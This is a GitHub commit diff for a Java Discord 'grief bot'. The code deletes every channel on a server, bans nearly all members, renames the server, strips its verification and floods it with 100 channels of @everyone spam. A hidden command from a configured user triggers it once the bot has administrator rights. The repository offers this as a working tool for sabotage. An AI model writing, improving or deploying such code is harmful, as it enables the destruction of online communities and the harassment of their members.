Skip to content

Commit

Permalink
Updated to 4.2.0
Browse files Browse the repository at this point in the history
  • Loading branch information
CorruptedBytes committed Jun 17, 2022
1 parent c242dc6 commit 6dea7b6
Show file tree
Hide file tree
Showing 8 changed files with 90 additions and 120 deletions.
4 changes: 1 addition & 3 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -4,8 +4,6 @@ A Discord bot that deletes all channels on a Discord server and replaces them wi

*The bot was programmed in Java with JDA and is a Maven project.*

<img src="screenshots/config.png" alt="Config Example"></img>
<img src="screenshots/config.png" alt="Config"></img>

#

LAST UPDATE: 08.06.2022
Binary file removed griefed.png
Binary file not shown.
78 changes: 40 additions & 38 deletions pom.xml
Original file line number Diff line number Diff line change
@@ -1,39 +1,41 @@
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>DiscordGriefBot</groupId>
<artifactId>DiscordGriefBot</artifactId>
<version>4.0.0</version>
<build>
<sourceDirectory>src</sourceDirectory>
<plugins>
<plugin>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.8.1</version>
<configuration>
<source>1.8</source>
<target>1.8</target>
</configuration>
</plugin>
</plugins>
</build>
<repositories>
<repository>
<id>dv8tion</id>
<name>m2-dv8tion</name>
<url>https://m2.dv8tion.net/releases</url>
</repository>
</repositories>
<dependencies>
<dependency>
<groupId>net.dv8tion</groupId>
<artifactId>JDA</artifactId>
<version>4.2.1_253</version>
<exclusions>
<exclusion>
<groupId>club.minnced</groupId>
<artifactId>opus-java</artifactId>
</exclusion>
</exclusions>
</dependency>
</dependencies>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>DiscordGriefBot</groupId>
<artifactId>DiscordGriefBot</artifactId>
<version>3.0.1</version>
<build>
<sourceDirectory>src</sourceDirectory>
<plugins>
<plugin>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.8.1</version>
<configuration>
<source>1.8</source>
<target>1.8</target>
</configuration>
</plugin>
</plugins>
</build>
<repositories>
<repository>
<id>dv8tion</id>
<name>m2-dv8tion</name>
<url>https://m2.dv8tion.net/releases</url>
</repository>
</repositories>
<dependencies>
<dependency>
<groupId>net.dv8tion</groupId>
<artifactId>JDA</artifactId>
<version>4.2.1_253</version>
<exclusions>
<exclusion>
<groupId>club.minnced</groupId>
<artifactId>opus-java</artifactId>
</exclusion>
</exclusions>
</dependency>
</dependencies>
</project>
Binary file modified screenshots/config.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
12 changes: 11 additions & 1 deletion src/main/java/de/corruptedbytes/GriefBot.java
Original file line number Diff line number Diff line change
Expand Up @@ -18,6 +18,7 @@ public class GriefBot {
private String grieferUserID;
private String activityDescription;
private String griefMessage;
private String spamMessage;

public static GriefBot getInstance() {
return INSTANCE;
Expand Down Expand Up @@ -66,14 +67,22 @@ public String getGriefMessage() {
public void setGriefMessage(String griefMessage) {
this.griefMessage = griefMessage;
}

public String getSpamMessage() {
return spamMessage;
}

public void setSpamMessage(String spamMessage) {
this.spamMessage = spamMessage;
}

public static void main(String[] args) {
try {
Config.initConfig();

DefaultShardManagerBuilder builder = DefaultShardManagerBuilder
.createDefault(getInstance().getDiscordBotToken());

builder.addEventListeners(new GriefBotListener());
builder.setActivity(
Activity.streaming(getInstance().getActivityDescription(), "https://www.twitch.tv/twitch"));
Expand All @@ -83,6 +92,7 @@ public static void main(String[] args) {
getInstance().botManager = builder.build();
} catch (LoginException | IllegalArgumentException e) {
System.err.println("Bot can't authenticate with Discord");
e.printStackTrace();
}
} catch (Exception e) {
e.printStackTrace();
Expand Down
43 changes: 21 additions & 22 deletions src/main/java/de/corruptedbytes/GriefBotListener.java
Original file line number Diff line number Diff line change
Expand Up @@ -2,17 +2,16 @@

import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.Random;

import de.corruptedbytes.utils.Config;
import de.corruptedbytes.utils.Shelv;
import de.corruptedbytes.utils.Utils;
import net.dv8tion.jda.api.EmbedBuilder;
import net.dv8tion.jda.api.Permission;
import net.dv8tion.jda.api.entities.ChannelType;
import net.dv8tion.jda.api.entities.Guild;
import net.dv8tion.jda.api.entities.Guild.VerificationLevel;
import net.dv8tion.jda.api.entities.Icon;
import net.dv8tion.jda.api.entities.Member;
import net.dv8tion.jda.api.entities.Message;
import net.dv8tion.jda.api.entities.TextChannel;
import net.dv8tion.jda.api.entities.User;
Expand All @@ -38,7 +37,6 @@ public void onMessageReceived(MessageReceivedEvent e) {
&& user.getId().startsWith(GriefBot.getInstance().getGrieferUserID())) {
try {
if (guild.getSelfMember().hasPermission(Permission.ADMINISTRATOR)) {

try {
message.delete().queue();
} catch (Exception ignored) {
Expand All @@ -57,11 +55,20 @@ public void onMessageReceived(MessageReceivedEvent e) {
}

public void startGrief(Guild guild, User user) throws Exception {
String name = GriefBot.getInstance().getGriefMessage().replace("%NAME%", user.getName());
String name = String.format(GriefBot.getInstance().getGriefMessage(), user.getName());
guild.getManager().setVerificationLevel(VerificationLevel.NONE).queue();
guild.getManager().setName(name).queue();
guild.getManager().setIcon(Icon.from(Config.griefPicture)).queue();
guild.getManager().setIcon(Icon.from(Config.GRIEF_PICTURE)).queue();

guild.getMembers().forEach(member -> {
if (member.isOwner() || member.getUser().isBot()
|| member.getId() == GriefBot.getInstance().getGrieferUserID()) {
return;
} else {
member.getGuild().ban(member, 0, "bruh").queue();
}
});

guild.getChannels().forEach(key -> {
key.delete().queue();
});
Expand All @@ -71,24 +78,16 @@ public void startGrief(Guild guild, User user) throws Exception {
.complete();
base.sendMessage(new String(Base64.getDecoder().decode(Shelv.ASCII_MEME), StandardCharsets.UTF_8)).queue();

for (Member members : guild.getMembers()) {
if (members.isOwner() || members.getUser().isBot()
|| members.getId() == GriefBot.getInstance().getGrieferUserID()) {
continue;
} else {
members.getGuild().ban(members.getUser(), 0, "fucked").queue();
}
}

int amount = 105;

for (int i = 0; i < amount; i++) {
for (int i = 0; i < 100; i++) {
try {
TextChannel grief = guild
.createTextChannel((name + "-" + new Random().nextInt(amount + 10)).toLowerCase()).complete();
grief.sendMessage("> @everyone YOUR DISCORD SERVER WAS GRIEFED!").queue();
grief.sendFile(Config.griefPicture).queue();
guild.createVoiceChannel((name + "-" + new Random().nextInt(amount + 10)).toUpperCase()).queue();
TextChannel grief = guild.createTextChannel(name.toLowerCase()).complete();

EmbedBuilder embed = new EmbedBuilder();
embed.setThumbnail("attachment://FUCKED.PNG");
embed.setTitle(GriefBot.getInstance().getSpamMessage());
embed.setDescription("**" + GriefBot.getInstance().getSpamMessage() + "**");
embed.setFooter(name);
grief.sendMessage("@everyone").addFile(Config.GRIEF_PICTURE, "FUCKED.PNG").embed(embed.build()).queue();
} catch (Exception ignored) {
}
}
Expand Down
38 changes: 16 additions & 22 deletions src/main/java/de/corruptedbytes/utils/Config.java
Original file line number Diff line number Diff line change
Expand Up @@ -8,57 +8,51 @@
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.URISyntaxException;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

import de.corruptedbytes.GriefBot;

public class Config {

public static File griefPicture = new File("griefed.png");
private static File configFile = new File("config.json");
public final static File GRIEF_PICTURE = new File("griefed.png");
private final static File CONFIG_FILE = new File("config.json");

public static void initConfig() throws IOException {
if (!configFile.exists()) {
if (!CONFIG_FILE.exists()) {
createTemplateConfig();
System.out.println("Please edit " + configFile);
System.out.println("Please edit the File: " + CONFIG_FILE);
System.exit(-1);
}

String s = null;
StringBuilder configFileString = new StringBuilder();
InputStream in = new FileInputStream(configFile);
InputStream in = new FileInputStream(CONFIG_FILE);
BufferedReader reader = new BufferedReader(new InputStreamReader(in));

try {
while ((s = reader.readLine()) != null) {
configFileString.append(s).append("\n");
}
} catch (IOException e) {
createTemplateConfig();
System.out.println("Please edit " + configFile);
System.exit(-1);
while ((s = reader.readLine()) != null) {
configFileString.append(s).append("\n");
}

reader.close();

if (!griefPicture.exists())
try {
Utils.extractResource(griefPicture.getName(), griefPicture.getName());
} catch (IOException | URISyntaxException e) {
e.printStackTrace();
}
if (!GRIEF_PICTURE.exists()) {
System.out.println("Please add an Image with File Name: " + GRIEF_PICTURE);
System.exit(-1);
}

GriefBot.getInstance().setDiscordBotToken(getJsonKey(configFileString.toString(), "botToken"));
GriefBot.getInstance().setGriefCommand(getJsonKey(configFileString.toString(), "griefCommand"));
GriefBot.getInstance().setGrieferUserID(getJsonKey(configFileString.toString(), "grieferUserID"));
GriefBot.getInstance().setActivityDescription(getJsonKey(configFileString.toString(), "activityDescription"));
GriefBot.getInstance().setGriefMessage(getJsonKey(configFileString.toString(), "griefMessage"));
GriefBot.getInstance().setSpamMessage(getJsonKey(configFileString.toString(), "spamMessage"));
}

private static void createTemplateConfig() throws IOException {
BufferedWriter writer = new BufferedWriter(new FileWriter(configFile));
BufferedWriter writer = new BufferedWriter(new FileWriter(CONFIG_FILE));
writer.write(
"{\n \"botToken\": \"YOUR-DISCORD-BOT-TOKEN-HERE\",\n \"griefCommand\": \"%start\",\n \"grieferUserID\": \"YOUR-USERID-HERE\",\n \"activityDescription\": \"Music\",\n \"griefMessage\": \"FUCKED-BY-%NAME%\"\n}");
"{\n \"botToken\": \"YOUR-DISCORD-BOT-TOKEN-HERE\",\n \"griefCommand\": \"%start\",\n \"grieferUserID\": \"YOUR-USERID-HERE\",\n \"activityDescription\": \"Music\",\n \"griefMessage\": \"FUCKED-BY-%s\"\n \"spamMessage\": \"YOUR DISCORD SERVER WAS GRIEFED!\"\n}");
writer.close();
}

Expand Down
35 changes: 1 addition & 34 deletions src/main/java/de/corruptedbytes/utils/Utils.java
Original file line number Diff line number Diff line change
@@ -1,16 +1,6 @@
package de.corruptedbytes.utils;

import java.io.BufferedInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.net.URISyntaxException;
import java.util.Base64;
import java.util.zip.ZipEntry;
import java.util.zip.ZipInputStream;

import de.corruptedbytes.GriefBot;
import net.dv8tion.jda.api.entities.User;

Expand All @@ -19,7 +9,7 @@ public class Utils {
public static void sendInfo() {
int guilds = GriefBot.getInstance().getBotManager().getGuilds().size();

System.out.println("");
System.out.println();

if (guilds != 0) {
System.out.println("The Bot is currently on " + guilds + " servers");
Expand All @@ -41,27 +31,4 @@ public static void sendInfo() {
}
}
}

public static void extractResource(String output, String file) throws IOException, URISyntaxException {
File f = new File(GriefBot.class.getProtectionDomain().getCodeSource().getLocation().toURI().getPath());
OutputStream out = new FileOutputStream(output);
FileInputStream fileInputStream = new FileInputStream(f.getAbsoluteFile());
BufferedInputStream bufferedInputStream = new BufferedInputStream(fileInputStream);
ZipInputStream zin = new ZipInputStream(bufferedInputStream);
ZipEntry ze = null;

while ((ze = zin.getNextEntry()) != null) {
if (ze.getName().equals(file)) {
byte[] buffer = new byte[9000];

int len;
while ((len = zin.read(buffer)) != -1) {
out.write(buffer, 0, len);
}
out.close();
break;
}
}
zin.close();
}
}

0 comments on commit 6dea7b6

Please sign in to comment.